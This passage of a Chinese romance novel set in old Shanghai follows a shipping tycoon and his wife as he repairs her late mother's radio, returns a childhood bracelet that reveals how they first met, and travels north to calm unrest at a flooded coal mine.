她打开床头柜上的小型无线电──这也是她从娘家带过来的少数财产之一,转到她时常收听的电台,里头正在播放广播剧:善良的妻子得知丈夫外遇,哭得呼天抢地,大骂外头的狐狸精勾引她丈夫。内容有点好笑,却挺煽情,很适合一般听众的胃口。

这台无线电跟她很久了,远在她就读女中的时候,她妈咪就买了这台无线电给她,算一算已经有七、八年。

七、八年前的老东西,当然跟现在的无线电收讯效果不能相比。不过一直很珍惜它的金安琪舍不得丢掉,因为这是她妈咪买给她的,说什么也要留着。

「妳这个下贱的女人,还我丈夫来!」

广播剧的内容,从原本的可怜妻子,一下子转变成泼辣的悍妇。这转变有点突兀,但颇能激励人心,大家都想知道那抢人老公的狐狸精最后有什么下场,会不会跪着喊饶命?

「啪!」

她正听得精彩,无线电突然出现杂音,而且她发誓,她还看见火花。

「别想我会把丈夫还给淅~~」最后它干脆直接报销。

看样子她是别想知道后面的剧情了,不过大概可以猜得到,狐狸精不打算把丈夫还给可怜的妻子,结局大概是待续。

无奈之余,金安琪只好自己动手修理。许久以前,这台无线电也曾闹过脾气,好一阵子不能收听。最后她不知道用了什么方法,它竟然就自动好了,说不定这次也能如法泡制。

她将无线电转到后面去,找来工具拆掉后面的面板,便着手修理起来。她东摸西摸,压根儿搞不清楚哪条线是哪条线,只得随便乱扯,扯到最后,真空管着火,她吓得往后跳。

「啊──」

砰!

每次她出事,辛海泽一定适时赶回来帮她,也算是一种变相的默契。

「你、你回来了。」她尴尬地看着身后的辛海泽,刚刚要不是他扶住她,她大概已经跌在地上,和地板打招呼了。

他看看桌上那一团乱,不必她多说明,也知道怎么回事。

「真空管坏了。」他稍微检查了一下无线电,评论道。

「那怎么办?」她真的很不好意思,每次做坏事都被他逮到。

「更换或是丢掉。」辛海泽回答。「就我个人的建议,应该丢掉,妳这台无线电太老旧了,再留着也没意义。」况且客厅有台最新型的无线电唱机,想听无线电,到客厅就可以了,不必非得要这台不可。

「不行!」金安琪想也不想地否决。「我不能将它丢掉!它是我妈咪买给我的,绝对不能丢掉。」她不是不知道它旧、不好用,只是亲情难舍,她母亲的灵魂就寄宿在上头,说什么也要留着它。

「那只好动手修理了。」辛海泽了解她们母女之间的牵绊,毕竟若不是为了守住她母亲的牌位,她也不会嫁给他,算是半个媒人。

「你要帮我拿去修理吗?」她好高兴他没坚持要她丢掉无线电,一般人都嫌它太旧,连她父亲也把它当做废物,一天到晚想把它拿去丢掉。

「不,我自己动手修理。」这种小毛病不需要送修,浪费时间。

「你会修理无线电?!」金安琪的眼珠子都快凸出来,这么困难的事情他也会。

「妳等着瞧。」说完,他消失了一段时间,等他再出现,手里已经多了新的真空管和一小盒零件,感觉上非常专业。

「你真的会修理呢!」她感兴趣地看着他灵活地将烧坏的真空管拆下来,换上新的。

「很久以前我曾经在无线电公司干过修理工人,这身技术就是在那个时候学的。」他不但替无线电换上新的真空管,还顺便把一些太老旧的零件换一换,最后再清理一下无线电内部,都长蜘蛛丝了,难怪收讯这么差。

「你做过修理工人啊!」这是她第一次听他提起往事,感觉格外新鲜。

「我做过很多事。」挑夫、修理工人、工地打杂,什么事都干,只要能挣到钱,只要不犯法,他什么工作都接。

「你都做过什么样的事,告诉我!」她好想知道他的一切,甚至连他还在地上爬的时候的事也有兴趣。

「我肚子饿了,吃饭去吧!」问题是他不想讲,还没做好心理准备让她知道他辛苦的过去,那些都是劳力工作,跟他现在的工作是不能相比的,他怕弄脏她的耳朵。

「海泽!」她气愤抗议。

「都是些小事,没什么好谈的,妳只会无聊到睡着。」他笑着搂住她的肩,用话打混过去。

「我才不会。」她不了解,她什么心事都告诉他,他却一件事也不让她知道,尤其是过去。

「颜妈呢?」他问金安琪。「我好像没看见她。」

「颜妈回乡下去了。」金安琪回答。「听说是孙子生病还是什么的,总之她会有三天不在家,我也准假了。」越来越有女主人的气势。

「也就是说,今天没饭吃了。」辛海泽对她的决定没意见,对肚子比较有意见,他正饿得发慌。

「我们可以出去吃饭,或是由我来做饭,你说好吗?」想到可以为心爱的人洗手做羹汤,金安琪的眼睛都亮起来了,辛海泽却不敢领教。

「我们还是出去吃饭好了。」他可没有尔宣那种铁胃,依依做什么他就消化什么,完全是敢死队的作风。

「啊,你不想吃我做的菜?」她知道她菜做得没有依依好,但是依依的老公每次都将依依做的菜吃光光,让她好羡慕,为什么他就不能这样……

「我突然想吃阳春面,我们一起去吃阳春面好吗?」他顾左右而言他,就是不让她下厨做菜。

「阳春面?」金安琪愣住。「我没吃过阳春面,你要带我去吃吗?」

「那有什么问题?」辛海泽挑眉。

结果金安琪又没做成菜,换成到破落的面馆吃面。

「我没想到你也会来这种地方吃面。」金安琪小声地告诉坐在她对面的辛海泽,他一派轻松自在。

「我不只会来,还经常来。」就像皓天坚持要上南市找老师傅剃头一样,像他们这种下阶层出身的人,无论日后的成就有多高,都会有抛舍不掉的习惯,只是他比较能够坦然面对。

「我就没来过。」她观察面馆里面的客人,才发现大家都在看他们。

「又是妳父亲的主意?」她还真听话。

「嗯。」她点头。「为了顾及门面,他什么都不许我做,但真正奢华的生活他又供应不起,真的是很讽刺。」

仔细想想,她父亲应该算是悲剧人物,受不了社会的剧变和压力,他一定很希望能够回到清朝生活吧!

「……不知道他老人家现在过得怎样?」到底有血缘关系,金安琪还是会关心她父亲。

「妳不会想知道的。」他明白她孝顺,但她父亲恐怕没有同样的感情,还是不要连络比较好。

金安琪从他的话中听出她父亲现在过得并不好,也对,他欠下那么多债务,那一百万恐怕早就被瓜分光了,况且他这么爱耍派头……

「我帮妳点了过桥,妳吃吃看好不好吃。」不想再围绕在他的丈人身上大作文章,辛海泽很有技巧地改变话题,分散她的注意力。

「过桥?」她好奇地看着伙计端盘上那两碗面,两碗一模一样。

「妳看,面条整齐的浮在汤汁上,像不像一座桥?」所以取名为过桥。

「真的好像呢!」她噗哧一笑,觉得这个名字好妙。

「可不是吗?」夫妻两人不顾旁人的眼光,哈哈笑了起来。金安琪从来没有感到如此快乐过,这和依依在一起的快乐是不一样的,因为他是她的丈夫。

两人很快把面吃完,金安琪吃完了一碗面不够,直呼真好吃,还想要吃第二碗,辛海泽赶紧把她拖走,免得她吃撑了。

两人手牵着手散步,难以想象在不久以前,他们只要一碰到对方就脸红,现在却自然得像对老夫老妻。

「其实,我干过挑夫,也干过工地打杂,还有妳知道的修理工人,这些事我都做过。」

也许是情境使然,也许是他真的看开了,他竟然主动提起他的过去,这点让金安琪非常惊讶。

「这些工作都没什么不好啊!你为什么不肯早点告诉我?」还要扭扭捏捏装神秘。

「这些都是劳力工作,安琪,会把身体弄得很脏。」他提醒她,这些工作可不是游戏,都要付出代价。

「那又怎么样?」她不懂。「就算你是挑粪的我也喜欢你,这跟脏不脏有什么关系?」男人的想法真怪,女人就单纯多了,只想到爱。

「呃……」被她这么一说,他突然说不出话,突然觉得自己好傻。

「你不要一直把我想得很高贵,我没那么高贵。」她多少了解他的心结。

「就拿刚刚来说,我不是才和你一起吃了阳春面了吗?」她只是族谱高贵了一点,其实她跟一般人没有什么不同。

「妳说得对,是我自己想太多了。」至此,辛海泽才完全明白他错得有多离谱,她根本不是他想象中的千金大小姐,只要给她机会,她也可以变得很平民。

「不过,那家面馆的阳春面真好吃,我们下次再去吃!」下回,她要点大碗的,一次吃个够。

「嗯,下次再去吃。」他点头,天空这时飘起毛毛雨,打在他们身上。

他们手牵手走过人行道,偶尔停留在街道的某个橱窗前,欣赏里头陈列的物品。

他们就像上海成千上万的夫妻一样,再平凡不过。
次日,倾盆大雨,天气非常不好。

辛海泽一早就接到电话,说开滦矿坑那边的经理打电报来,里头报告了一些事,要他马上赶快去处理。

最近上海电力正值吃紧期,无论是哪一个产区的煤矿,卖价都有向上攀升的趋势,于是大家几乎都是在第一时间赶采煤,好趁着价格高的时候运往上海,这个时候矿坑若出问题,可就大大不妙,辛海泽一放下电话,便立刻赶往公司处理矿坑的事。

「矿坑到底出了什么问题?」他一到公司,男秘书立刻就把电报呈上来,顺便做报告。

「好像是矿坑里面的积水太多,怕会崩塌。」

这是所有矿坑老板最大的恶梦,矿坑一旦崩塌,就无法采煤,更可怕的是还会有人员损失,以及接踵而来的赔偿问题,这些才真正教人头痛。

「叫他们先停工抽水,再加强矿坑内部的防护措施,绝不能让矿坑崩塌。」辛海泽指示秘书。

「但是这样子的话,矿坑就不能产煤,现在煤的价格又这么好,每个产区都在拚产量──」

「我不管煤的价钱现在好不好,或是要损失多少产值,我只要我的采煤工人安全。」辛海泽严肃打断秘书的话,告诉秘书他个人的行事原则。

「安全第一,就算停工会造成巨大损失,我也认了。」辛海泽指示秘书。「你再发一封电报给矿区经理,告诉他我的决定,请他无论如何都要把水抽干净,才能复工。」

「是,老板,我马上去打电报。」秘书二话不说,照着他的指示去发电报。他前脚才走,后脚船运部经理立刻跟上来,请求辛海泽指示。

「老板,如果是这样的话,那我们的船期是不是也该更改,或干脆停驶?」牵一发动全身,矿区停工对之后的船运也会造成巨大的影响,结果就反映在船期上。

「不,还是照常行驶,不过加强对邻近矿区生煤的运送,必要的时候可以降一些折扣,争取载运量。」

这也是一项大工程,接着就轮到航运业务组的组长上前报告,因为他是招揽生煤载运工作的负责人,必须由他说明执行上的困难。

一整天下来,辛海泽就像颗陀螺转个不停,忙得昏天暗地。

所有的事情都必须经由他的手,每个部门几乎都找他开会。矿坑渗水成了最大的灾难,后续需要处理的事有一大堆,等他处理到一个段落,天已经黑了一半,他也快要累垮了。

他揉揉一直发疼的太阳穴,无意中瞄到桌子上的小座钟,指针指向六点钟,该是用餐时间。

然后,他突然想起一个人孤伶伶在家等他的金安琪,今天颜妈不在,她又不太会弄吃的,此刻会不会正饿着肚子?

匆匆起身,他决定回家照顾老婆。

生意固然重要,但他的安琪儿价值凌驾一切,没有她,一切都没有意义。

「各位,我先回去了。」他戴上金安琪送他的帽子就要走人。「后面的事情,就麻烦你们处理了,我家里还有事。」

「没问题,老板。你赶快回去照顾美娇娘,剩下的事情,交给我们处理就行了。」属下们够义气,一肩扛下后面零零碎碎的琐事,让辛海泽回家看顾金安琪。

辛海泽朝他们举帽子致意后离开,弯腰钻进加了盖的敞篷车里面,司机都冷得在搓手心。

「晚安,老板,今天晚上可真冷。」闷热的夏季过去是凉爽的秋天,不过最近的天气有些怪,老是下雨,气温也不高,一直维持在十五、六度上下,感觉上相当寒冷。

「是挺冷的。」这么冷的天气,就单独留安琪一个人在家,还真有点不放心。

「要回家了吗,老板?」小刘发动引擎,也想早一点下班回家抱老婆。

「嗯。」辛海泽先是点点头,接着又临时改变主意。「不,先去买白糖莲心粥好了,太太还没吃饭,买点粥给她喝。」

「老板,您可真疼夫人哪,真令人羡慕。」很少看见一个男人对老婆这么体贴,小刘感叹。

「别多话,快把车开到李大婶那里,以免买不到粥。」李大婶的白糖莲心粥闻名全上海,小小的摊子前面经常挤满人,他可能还得排队,没空同司机蘑菇。

「是,老板,我立刻开车。」小刘憋住笑,转动方向盘朝李大婶的摊位开去,老板他可真心急,全是为了夫人。

辛海泽和金安琪两个人的感情,有如倒吃甘蔗,越来越甜蜜。

旁人看了羡慕,当事人过得快乐,天下没有比这更好的事情,莫怪司机看了都要笑。

李大婶的摊前,果然就像辛海泽预测的那样,排了不少人。他足足等了十五分钟,才买到白糖莲心粥。司机看见他已经买到粥,远远朝他挥手,表示要将车子开过去,辛海泽干脆就站在原地等司机。

就在此时,不知从哪里窜出几个小瘪三,用飞快的速度,抢走他头上的帽子。

「可恶!」辛海泽由于手里拿着热粥,一时无法反应,再加上对方有好几个人,个个身手灵活,训练有素,上头应该是有人罩着他们。

「发生了什么事?」随后赶来的司机没看见小瘪三,只看见辛海泽气急败坏的咒骂。

「一群小瘪三玩『抛顶躬』,把太太送我的帽子给抢走了。」

这可不得了,老板最看重那顶夫人送的帽子,定会想办法追回来。

「怎么办,老板?」司机问辛海泽。「要不要请商先生发动手下,帮您追回那顶帽子,晚几天可能就要进旧货摊了。」

「抛顶躬」其实就是抢人头顶上的帽子,通常都是由好几个小瘪三为一组,锁定目标下手。等其中的一个人抢到帽子以后,在空中丢来丢去,互为掩护,行为相当恶劣。

「看样子也只好如此了。」辛海泽皱眉,极不愿意劳驾商维钧。

「那边有个街头电话亭,我马上载您过去。」司机将车子开到街头电话亭前面停下,辛海泽下车拨了通电话给商维钧,二十分钟后,他已经带了一堆手下将街头电话亭团团围住,气势非常骇人。

「你不必搞这个排场的。」辛海泽看着多达上百人的黑色大军,每一个人都一脸肃杀之气,不知情的人会以为他们前来找他寻仇。

「我忍不住。」商维钧挑高一双秀眉回道,全部的人都一身黑,就他一个人穿白色,未免太突出了。

「你的帽子在哪里被抢?」闲话少说,赶紧办正事,趁着那顶帽子尚未被瘪三们的老大收进棚之前,就在街头解决,省去日后交涉的麻烦。

「就在前面的小摊子前。」辛海泽用下巴点点李大婶粥摊的方向。

「又来买白糖莲心粥了?」商维钧调侃辛海泽。

「安琪爱喝。」他承认他是爱情的傻瓜,是老婆的奴隶,这总行了吧?赶快帮他找帽子。

商维钧邪邪勾了一下嘴角,要他把抢他帽子的瘪三们穿着打扮和长相大约交代一下,便发动手下去找人。

「大伙儿只要恋爱,都是同一个样子。」痴情。

「这算是我们这一群死党的特色。」辛海泽自嘲。

「或许吧!」商维钧双手插进裤袋,不认为这样有什么不好,至少人生有目标,才不会空虚。

辛海泽打量商维钧的侧脸,在路灯的照耀下,他真的美得不可思议,只是他的心思也同样深沈得不可思议。他的心事,藏得比他还要深,辛海泽猜大概没有人能够真正了解他吧!

「维钧,你有没有喜欢的人?」难得只有他们两个人单独相处,辛海泽突然好奇起商维钧的内心世界,那几乎没有人能够涉足。

商维钧的眼睛瞬间闪过一丝光芒,似乎想起了谁,但立刻又暗了下来,恢复成原来的神色,辛海泽就算眼力再好,也抓不住那瞬间。

「还没出生。」最后他给了辛海泽这个奇怪的答案,辛海泽只能苦笑,拍拍商维钧的肩膀说。

「快点找到吧!」他已经找到他今生最重要的人,他希望他的好朋友们,也能找到重要的另一半,共同分享欢喜悲伤。

商维钧耸耸肩,不置可否。

两个大男人手插在裤袋,一起靠在车门上,仰望天空。

「老大,人已经找到了,您现在要过去吗?」手下动作极快,不过半个钟头的时间,就已经找到那几个小瘪三,将他们团团围住。

「去看看也好。」商维钧坐上手下的车子,接着扬长而去,辛海泽赶紧也跳上车,免得跟丢。

黑暗的巷弄,就看见那几个抢帽子的小瘪三跪在地上发抖。他们不过抢了一顶帽子,都还来不及上缴给老大哩!就惹来这么大阵仗伺候,到底是得罪了谁……

忽然从黑暗中走出来的俊秀人影,给了他们最好的答案。

「玉面罗剎!」

他们居然有眼不识泰山,抢了「玉面罗剎」朋友的帽子,这下完了。

「全是我们的错,请饶了我们!」小瘪三又是磕头又是哀求的,商维钧一句话也没说,只是走过去弯下腰,将小瘪三前面的帽子捡起来,弹了弹上面的灰尘,然后交给辛海泽。

「你的帽子。」商维钧对辛海泽笑一笑,兄弟之情全写在眼底。

「谢谢。」辛海泽拿起帽子戴上,十分感激他帮忙,只希望他下手别太重。

「快点回去吧!嫂子还在等你。」他会好好修理这几个小瘪三,他不必担心。

「我先走了,保重。」他就是希望他不要下手太重,看样子只是奢望。

「你们的老大是谁?」

「……」

辛海泽回头看商维钧,他正挂着他的招牌笑容拷问那几个小瘪三,看来他又要增加一个新的堂口了。

车子在半个钟头后,终于回到洋房。

只见他人才刚下车,金安琪便冲出来,扑进他的怀里哭喊。

「我以为你出事了,害我好担心。」并且哭得像个泪人儿,泪流不止。

小刘见状,默默将车子开走,留下他们夫妻两人独处,辛海泽没想到她会这么激动,只好晃一晃手中的布包哄她。

「我去买白糖莲心粥──」

「我才不要什么白糖莲心粥,我只要你!」她哭得好伤心。

「妳送我的帽子被抢了,我找了好久才找回来──」

「丢了就算了,我只要你!」她紧紧抱住辛海泽,好怕他不见。

「我只要你!只要你!只要你!」她哭得柔肠寸断,失去理智的模样,让他不禁也将她紧紧圈住,发誓今生今世再也不放开她。

「你干什么?」金安琪没想到他会突然将她打横抱起,因此而吓了一跳。

「妳不是说只要我?当然是带妳上床。」他微笑,感觉前所未有的幸福和大胆,金安琪的脸都红起来。

浓浓的爱意,使得他们恩爱起来格外激烈,夹带着男欢女爱特有的叹息,充斥一室。


激情过后,金安琪像只满足的小猫窝在辛海泽的怀里,胸口装满对他的爱意。

「啧。」他亲吻她的嘴唇,也同样深爱金安琪,她是他的天使。

他轻抚她的粉颊,宛如水蜜桃的颜色,让他想起多年前那个小女孩,该是告诉她事实的时候。

「安琪,有个东西,我要还给妳。」他打开床头柜,拿出一个粉红色丝绒的小包包,里头似乎装着首饰。

「不要再送我首饰,我已经够多了。」她只要他陪在她身边,再多的首饰她都不在乎,也不稀罕。

「我没有要送妳首饰。」他失笑。「我只是要将这个东西还给妳。」

辛海泽将粉红色丝绒包包交到她手上,她莫名其妙地看了他一眼,不记得他曾经跟她借过东西。

「打开来看。」她一定会很高兴看到它。

「好。」她打开粉红色丝绒包包,里面是一条黄金手炼。

「还说不是送我首饰──」当她看清楚手上的链子时,她愣住了,一句话也说不出来。

这是……她妈咪送给她的手炼!

「你怎么──」她看看他,再看看手中的小金炼,怎么也想不出其中的关连。

「认出这条链子了吗?」他看她的神色这么茫然,担心她忘了以前的事,但她怎么可能忘记?

「当然认出来了!」她将手炼紧紧捏在手心,浑身颤抖。「这是妈咪送我的金手炼,我一辈子都不会忘记!」

「那就好,我还以为妳忘了呢!」他不希望她忘了小金炼,因为那表示她也有可能不记得他,若真的是这样,他会很心痛的。

「我才不可能忘记。」她几乎哭出来。「我找了这条金手炼好久,本来以为它已经不见了,没想到竟然会再出现,我真的好高兴。」

这是她的记忆,她母亲留给她的东西不多,除了摆在床头的小座钟和那台几乎报废的无线电以外,就属这条金手炼最珍贵,虽然事实上它也值不了多少钱,但对她来说却是无价之宝。

「对了,你怎么会有这条手炼?」她擦掉眼角的泪水,问辛海泽。

「捡来的。」他答。「在一艘很大、很大的客轮捡到的。」

「客轮?」好巧,她就是在客轮上面遗失手炼。

她还记得,她为了要寻找这条手炼,发现了一位躲在楼梯底下的少年,还和少年说了好多话。

那位少年长得很清秀,只是眼神总是透露出哀伤,脸上总写着忧郁。仔细回想,其实那位少年和他还长得挺像的,日后如果长大成人,大概就长得和他一模一样了──一模一样?

「你是那位大哥哥?!」她的眼睛瞪得好大,不敢置信地看着辛海泽,只见他笑着点头。

「幸好妳还记得。」他很高兴她仍记得他,这样他就不需要解释半天了。

「……我不相信,这世界上竟有这么巧的事!」茫茫人海,他们怎么可能会在几千几百万人中相逢,太不可思议了。

「确实没有这么巧的事。」他承认。「妳可以说我早就盯上妳,我会出现在拍卖会上并不是偶然,而是探听了许多年的结果。」

「海泽……」她不知道他竟然对她这么用心,苦苦等候她许多年。

「我一直都想找机会当面向妳道谢,当年若不是妳给我牛奶和面包,我早就饿死在船上,也不会有今日的我。」虽然现在才说谢谢有些晚,但他对她的感激并不会随着岁月转淡,只会越来越浓。

「我没有想到那位少年竟是你,更没想到,你会出现在拍卖会将我标走。」她才是该说谢谢的人,是他将她救离那个死气沉沉的家庭,又对她万般呵护,她能回报他的,却只有牛奶和面包。

「我不能眼睁睁看着别的男人把妳标走,只好出现在拍卖会,可以的话,我希望能够以别的方式与妳重逢。」毕竟这种方式太残忍,他们也因为这个方式,吃了许多苦。

他们曾经猜疑,曾经不相信对方。金安琪以为他是因同情怜悯才会娶她,殊不知这份爱从很早以前就已经萌芽,一直到最近才有机会茁壮长大,甚至成荫。

「我很高兴你出现在拍卖会,更高兴你出价买下我。」虽然一百万真的挺贵的,但他好像不在乎。

「我没有办法不这么做。」他苦笑。「我不能让我爱了半辈子的女人,只因为妳父亲一时的贪婪,白白送进别人的怀抱,当然得出面积极争取。」

积极争取的结果就是他成功了。他终于可以不必只是凝视她的背影,可以像这样直接用手臂圈住她,从另一个角度来看,还得感谢她父亲的贪婪。

「我父亲……真的是一个很冷酷的人。」想起她父亲,她就不自觉地打哆嗦,彷佛又回到那栋美轮美奂,但死气沉沉的大宅。

「他是因为妈咪的血统才娶妈咪,娶了以后又不珍惜,对他来说,妈咪的存在意义,只在于血统,少了血统,就和畜牲没两样,我也一样。」

「安琪!」他不喜欢她说这件事时的神情,太麻木。

「他从来就不喜欢我。」问题是她无法不麻木,面对她父亲这么冷酷的人,她温热不起来。

「他总是嫌弃我的性别,怨恨我读书花太多钱,那些钱他原本可以拿去做其他事,比如买车子或是做其他投资,你知道,上海人就是爱面子。」更何况他又号称家大业大,没摆点派头怎么行?只好苛责妻女了。

「别说了,安琪……」

「过去那些日子,我都是靠妈咪保护我。」她攒紧手心里的金手炼,好想念母亲。「妈咪是天底下最温柔的女人,她总是不吝啬给我温暖,给我安慰,每次当我失意或是被父亲责骂的时候,她总是会紧紧抱住我,给我最温暖的拥抱,现在,我再也无法拥有那样的体温了,呜……」

他不想她说,就是怕她流泪。他知道她有多敏感、多脆弱,虽然表面佯装坚强,但心里面还是那个凡事依靠妈妈的小女孩,不能怪她还没长大,有那样的父亲,任何人都不愿长大,都想躲进妈妈的怀抱寻求庇护。

「别哭了,安琪。」他搂紧金安琪,就像她妈咪过去时常做的。「妳不会失去相同的体温,从现在起,我就是妳的依靠,我会代替妳母亲给妳温暖。」

「海泽!」

「所以,别哭了。」他会舍不得。「我会照顾妳一辈子,时时刻刻在妳身边,绝不会像妳母亲一样丢下妳不管,好吗?」

虽然她始终没说出口,可能她自己也不清楚,但她确实是恨她母亲的。她恨她太早把她留下,恨她一个人离开,让她独自面对冷酷的父亲。一个不健全的家庭,可以培养出太多种不健全的人格,她只不过是其中之一。

「海泽……」金安琪不知道能说什么,他对她太好了,害她的眼泪一直一直掉个不停。

「你一定要照顾我一辈子哦!」她跟他打勾勾,有点孩子气,却是最有效的约定。

「我一定会照顾妳一辈子。」他答应她一定陪她到白头,无论神鬼,都不能将他们分离。

「打勾勾。」他们一起伸出手,立下这永生永世的约定。

说好了,他会照顾她一辈子,因为他们已经打勾勾了。 「那年,我十三岁,因为居住的村子发生旱灾,家里吃饭的人口又多,没有多余的粮食可以养活我,于是我只好自己想办法养活我自己。」

一个秋高气爽,极适合躺在院子的草坪上数白云的日子。

辛海泽头枕在金安琪的大腿上,被缠着说他发迹的故事,他拗不过爱妻的请求,只得说了。

「然后呢?」金安琪仰望天空,天上有好多云,数也数不完。

「然后我就想,别的村子也一样有旱灾,去了也是没用,一样讨不到口粮,不如就来上海,说不定还有机会。」

「这是个满好的想法,然后呢?」

「然后我就带着仅有的干粮和水,趁着人们下船登船正乱的时候偷偷渡上船去,和船员们玩了好几天的捉迷藏游戏,始终没被抓到。」

「真了不起,接下来呢?」

「接下来尽管我再怎么节省,存粮还是吃完了,连续饿了好几天肚子,终于支撑不住,这个时候出现一位美丽的天使,脖子上围着一条好漂亮的粉红色领围,站在我面前微笑对我说──」

「大哥哥,你肚子饿了吗?这个给你。」这段不晓得已经讲过多少次,她都会背了。「然后呢?」

「然后我就爱上她,心想我长大后一定要娶她,但我又很怕她以后会认不得我,这时天上刚好掉下一条链子给我做信物──」

「是这条吗?」金安琪扬扬手中的小金炼,故意问他。

「对,就是这条。」辛海泽笑开。「妳就不晓得,那个女孩长得有多美……」

「我当然晓得,因为那个女孩就是我。」她得意地捏了一下他的鼻子,叫他不要再废话,快点继续往下讲。

「于是我紧紧地抓住小金炼,发誓以后就算会饿死,也不会卖掉这条链子。」

「那么你饿死了吗?」她其实很感动,但怕万一吻他,他又不说了,只顾着接吻。

「饿死了妳不就没老公了吗?」他瞄了她一眼。「当然没有!我运气不错,一下船就找到工作,在我下船的那个码头当挑夫,帮商船挑货。」

「那一定很辛苦。」她无法想象才十三岁就必须自食其力,这种日子要怎么过?相较之下,她所受的苦根本不算什么,简直就是小儿科。

「还好,反正我长得孔武有力,在家乡的时候也习惯干粗活,真要比起来,包工头的剥削才真教人受不了,我做了一年的挑夫以后,就决定不干了,找别的活干。」

挑夫就和拉黄包车一样,都是一种会让人短命的工作,很多人正值壮年期,就因为操劳过度死了,对他最照顾的大哥也是因为操劳过度去世,他的死,给他很大打击,也让他毅然决然辞去工作,另起炉灶。

「后来你找到什么样的工作?」

「工地打杂,那也是份很吃紧的工作,我做了大概一年。」

「然后又不做了?」

「嗯。」他哼道。「那工作没什么出息,包工头也是经常借故剥削,经常一个月赚下来,钱都进到他口袋,自己反倒没剩几文钱。」

「让我猜猜看,接下来你找到无线电公司的修理工作,转行当技术员。」

「没错,就是这份工作,让我得以重新回到船上,接触船运业。」可说是转捩点。

「怎么说?」

「我被公司派上船,帮忙船公司修理无线电,才发现不管是江心的渡轮,或是南北洋线的客轮,都是人来人往,很有赚头。于是就将身边的钱全数投入买了一条小舢板,开始帮人载货,等赚到钱以后,再换一条大一点的船,载更多货。我的运气很好,不到几年就挣到一笔钱了。接着我又将那笔钱拿去买渡轮,并成立一家渡轮公司,就这样开始正式进入船运业。」之后就越做越大,并且有了其他投资。

「听你说得这么简单,过程一定很辛苦。」她搭过他的船,知道他有多用心经营,绝非轻描淡写可以带过。

「辛苦是必然的,最重要是运气。」辛海泽不否认。「我们五个好朋友的共通点就是运气好,论运气,谁也比不上我们。」所以才能年纪轻轻就在上海滩立足。

「这倒是不能否认。」她记得以前在家时,就听过父执辈聚在一起咒骂他们五个人的好运气,当时不知道他们是谁,现在可知道了,而且比谁都熟悉。

「现在我故事讲完了,可以吻我了吧?」为了这个吻,他得把他的前半生都讲透,有点划不来。

「好,给你奖励。」她低下头和他接吻,感觉天地间只有他们两人,日子过得既安稳又惬意,真希望永远能够这样子就好了……

「老爷,电话!」

只可惜,事与愿违。

金安琪梦想的安稳日子,老是被不时响起的刺耳铃声干扰,没法静下来好好谈情说爱。

「最近的电话真多。」辛海泽同样也觉得很不耐烦,自从矿坑渗水之后,他就一天到晚接电话,没一刻安宁。

「老爷!」姆妈又在喊了。

「我先去接电话,等一下再回来。」他爬起来,走回屋内接电话。

金安琪在院子中远远看他讲电话,不晓得怎么搞的,心里竟升起一股不好的预感,好像有什么事情就要发生。

只看见辛海泽电话越听,眉头拧得越紧,最后不知道跟对方说了些什么后,挂上电话,重新回到院子。

「又是矿坑的事吗?」最近老听见这两个字,都快听怕了。

「恐怕是。」辛海泽严肃地点头。「矿区经理要我马上赶去矿区,阻止一场可能发生的骚动。」

「什么意思?」她听不懂。

「前阵子因为矿坑渗水停工太久,工人都没工作,就算有给他们补贴,他们仍以为我只是借口矿坑渗水,其实是要他们走路,正计划酝酿抗争。」所以才说是可能的骚动。

「矿区经理没办法处理吗?」为什么一定要他去?

「没有办法。」他摇头。「他不是老板,平常的时候还可以,这个时候他说话没有人会听,一定得要我亲自出马才行。」

同样干过工人,他了解这些采煤工人们的恐慌。工人阶级最怕无工可做,管理阶层的保证,时常只是敷衍,没有得到老板的亲口保证,甚至签下切结书,他们是不会相信的,这也是身为老板的无奈。

「我跟你去!」她实在无法忽视胸口那股不安,没有办法坐视不理。

「不行!」辛海泽断然否决。「妳会晕船,况且矿区很乱,会遇见什么状况还不知道。带妳去,只会使我分心,更加办不好事情,妳得乖乖待在家里。」

「但是我会担心……」她无法解释胸口那种不安的感觉,就像被人用手掐住喉咙,快要窒息。

「没有什么好担心的。」他要她别乱想。「我顶多去一个礼拜,等事情处理完毕,说不定还会顺道到天津拜访尔宣他父亲,妳要我帮妳带什么回来?」糖炒栗子,还是……

「我什么都不要,我只要你平安归来。」或许她是杞人忧天,但她真的有不好的预感,为什么他都不听她的话呢?

「傻瓜,我一定会平安回来。」只是解决劳资纠纷,能有什么危险?

隔天早上,辛海泽便拎着行李箱,从上海直飞北平了。

由于情况紧急,他也想早点把事情解决,辛海泽这回弃船改搭飞机,先飞到北平,再由北平转搭火车到天津,最后才由天津分公司的经理,开车将他送到矿区。

工人鼓噪的情形比想象中还严重,这些以为自己即将失业的采煤工人,起初不相信辛海泽的保证,直到他答应亲自进入矿坑,证明他无意封锁矿坑之后,工人们才慢慢安静下来。

尽管如此,他们还是半信半疑,非得要等到辛海泽卷起袖子,他们才肯相信。

辛海泽在矿区经理和少数几个工人的陪同下,进入幽暗的矿坑。

矿坑内虽然都已经架高,并搭建好一条运煤的专用铁轨,但仍必须不时弯下腰,才不会顶到头。

「老板请小心您的脚步,别撞到头了。」矿区经理提醒辛海泽。

「谢谢你,我会踩稳。」辛海泽礼貌地回道。

「真是的,也不知道这些工人在想什么,居然还要您亲自下矿坑。」矿区经理觉得对辛海泽很抱歉,要不是他管理不力,他也不必从上海飞过来。

「别这么说,我老早就想亲自视察一下状况。」辛海泽要矿区经理别自责,如果不是他决策太匆促,也不至于如此。

「水都抽干了吗?」他最关心的还是安全问题。

「大部分都抽干净了。」矿区经理答。「不过有几个地方,我们不敢抽得太猛,怕矿坑会崩塌。」

「情况这么严重?」不妙了,如果真是这样,不关闭矿坑都不行。

「其实也还好。」矿区经理摇手解释。「每一座矿坑,难免都会渗水,只要含水量没有达到一定标准,还是有开采的价值,只要做好防护措施就可以了。」

「我们有做好防护措施吗?」他用手敲敲粗壮的横梁,钉得颇牢靠。

「有的,老板。」矿区经理又答。「我们已经依照你的指示,加强矿坑内的防护措施,只要不再渗水,再过几天就可以复工开始采煤,没有问题的。」

「那就好。」辛海泽一行人几乎走到矿坑的底部,找不到什么问题,又往回走。

「我今天可能就会离开天津,直接从北平搭飞机回上海,若是再有什么问题,你再打电报去公司,我会立刻派人处理。」他想念老婆,想立刻回家看她,不想在异地停留。

「不会再有什么问题。」要老板亲自跑一趟已够丢脸了,真的再出问题,他这个矿区经理也不必混了,直接回家吃老米饭去。

「最好如此。」他也不想老往这边跑。「复工以后,每一天的产量,都要透过电话向我口头报告,知道吗?」

一行人越来越按近坑口,没有人注意到地底隐约传来的轰隆声,像条狡龙一样地潜伏。

